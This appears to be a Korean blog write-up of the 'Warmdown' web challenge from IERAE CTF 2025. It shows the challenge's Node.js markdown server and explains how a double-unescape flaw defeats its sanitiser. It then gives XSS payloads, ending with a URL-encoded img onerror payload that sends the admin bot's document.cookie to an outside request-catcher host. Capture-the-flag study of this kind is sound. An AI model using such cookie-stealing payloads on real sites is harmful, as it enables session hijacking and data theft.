본문 바로가기
분류 전/CTF

[IERAE CTF 2025][WEB] Warmdown 풀이

by jwcs 2025. 6. 22.
728x90
반응형

1. 개요

XSS 문제이다. Markdown 기능을 가지고 있는 웹 사이트다

/

 

2. 기능 분석

마크다운 기능 사용

Markdown Demo ~~라고 되어 있는 부분에 문자열을 넣으면 마크다운으로 파싱해서 preview에 보여준다. 이 값들을 이스케이프해서 보여주는 것이 HTML이다. 코드를 확인해보자.

 

import fastify from "fastify";
import * as marked from "marked";
import path from "node:path";

const app = fastify();

app.register(await import("@fastify/static"), {
  root: path.join(import.meta.dirname, "public"),
  prefix: "/",
});

const sanitize = (unsafe) => unsafe.replaceAll("<", "<").replaceAll(">", ">");

const escapeHtml = (str) =>
  str
    .replaceAll("&", "&amp;")
    .replaceAll("<", "&lt;")
    .replaceAll(">", "&gt;")
    .replaceAll('"', "&quot;")
    .replaceAll("'", "&#039;");

const unescapeHtml = (str) =>
  str
    .replaceAll("&amp;", "&")
    .replaceAll("&lt;", "<")
    .replaceAll("&gt;", ">")
    .replaceAll("&quot;", '"')
    .replaceAll("&#039;", "'");

app.get("/render", async (req, reply) => {
  const markdown = sanitize(String(req.query.markdown));
  if (markdown.length > 1024) {
    return reply.status(400).send("Too long");
  }

  const escaped = escapeHtml(marked.parse(markdown));
  const unescaped = unescapeHtml(escaped);

  return { escaped, unescaped };
});

app.listen({ port: 3000, host: "0.0.0.0" });

 

 

3. 취약점 분석

 

코드를 보면 unescapeHtml()에서 &amp; -> &lt; -> &gt; 등의 순으로 replace를 하고 있다. 따라서 &lt;script&gt;와 같이 입력하면 escapeHtml에 의해서 &amp;lt;script&amp;gt;가 된다. 이후 unescapeHtml을 거치면서 <script>가 된다. 자세한 과정은 아래와 같다

  • &lt;script&gt;를 입력
  • escapeHtml() 함수에 의해 &amp;lt;script&amp;gt;가 됨
  • unescapeHtml() 함수의 replaceAll("&amp","&")로 인해 &lt;script&gt;가 됨
  • unescapeHtml() 함수의 replaceAll("&lt;")로 인해 <script&gt;가 됨
  • unescapeHtml() 함수의 replaceAll("&gt;")로 인해 <script>가 됨

이렇게 입력하면 <>를 입력하지 않기 때문에 sanitize 함수를 우회하여 스크립트를 적용할 수 있다.

 

다만, script 태그로 xss를 시도하면 안된다. 그 이유는 template 태그 안에서는 스크립트를 실행할 수 없고, cloneNode()로 붙여 넣어지고 나서 스크립트가 실행되는 것을 기대해야된다. 하지만 스크립트에는 already started라는 플래그가 존재하고, 이 플래그가 없어야 스크립트가 실행된다. cloneNode()로 복사하는 시점에는 이미 already started라는 플래그가 생기기 때문에 스크립트 태그는 사용하지 못하는 것으로 보인다. 

 

[참고]

https://stackoverflow.com/questions/28771542/why-dont-clonenode-script-tags-execute

 

그래서 img 태그의 이벤트 핸들러를 사용했다.

&lt;img src=x onerror=alert(1)&gt;

xss 발생

 

&lt;img src=x onerror=location.href=&#039;https&colon;//tbbcxvh.request.dreamhack.games&#039;&gt;

위와 같이 사용하면 된다. 주목해야 할 점은 http 뒤에 :가 아니라 html 엔티티로 변환시켜 놨다는 것이다. marked.parse에 의해서 예상치 못한 값으로 변환된 것을 확인했다.

 

예상치 못한 값으로 변환

 

 

admin bot 페이지

admin 페이지에서 전체 페이로드를 입력하면 flag를 얻을 수 있다. 주의해야할 것은 URL은 http://web:3000라는 것이다. 34.146.192.216 페이지에 보내도 다른 site이기 때문에 xss는 터지지만 쿠키가 담기지 않아 flag를 얻을 수 없다.

url encoding도 잊지 말자

http://web:3000/?markdown=%26lt%3Bimg%20src%3Dx%20onerror%3D%26quot%3Blocation%2Ehref%3D%26%23039%3Bhttps%26colon%3B%2F%2Ftbbcxvh%2Erequest%2Edreamhack%2Egames%3Fc%3D%26%23039%3B%2Econcat%28document%2Ecookie%29%3B%26quot%3B%26gt%3B

flag

짜잔

IERAE{I_know_XSS_is_the_m0st_popular_vu1nerabili7y}
728x90
반응형

'분류 전 > CTF' 카테고리의 다른 글

[2024 IS_LAB CTF] meta-data 풀이  (0) 2024.02.07
[2024 IS_LAB CTF] Robots REVENGE 풀이  (0) 2024.02.05
[2024 IS_LAB CTF] Under Construction 풀이  (0) 2024.02.05
[2024 IS_LAB CTF] Robots 풀이  (0) 2024.02.05
[Sunshine] beepboop 풀이  (0) 2023.10.14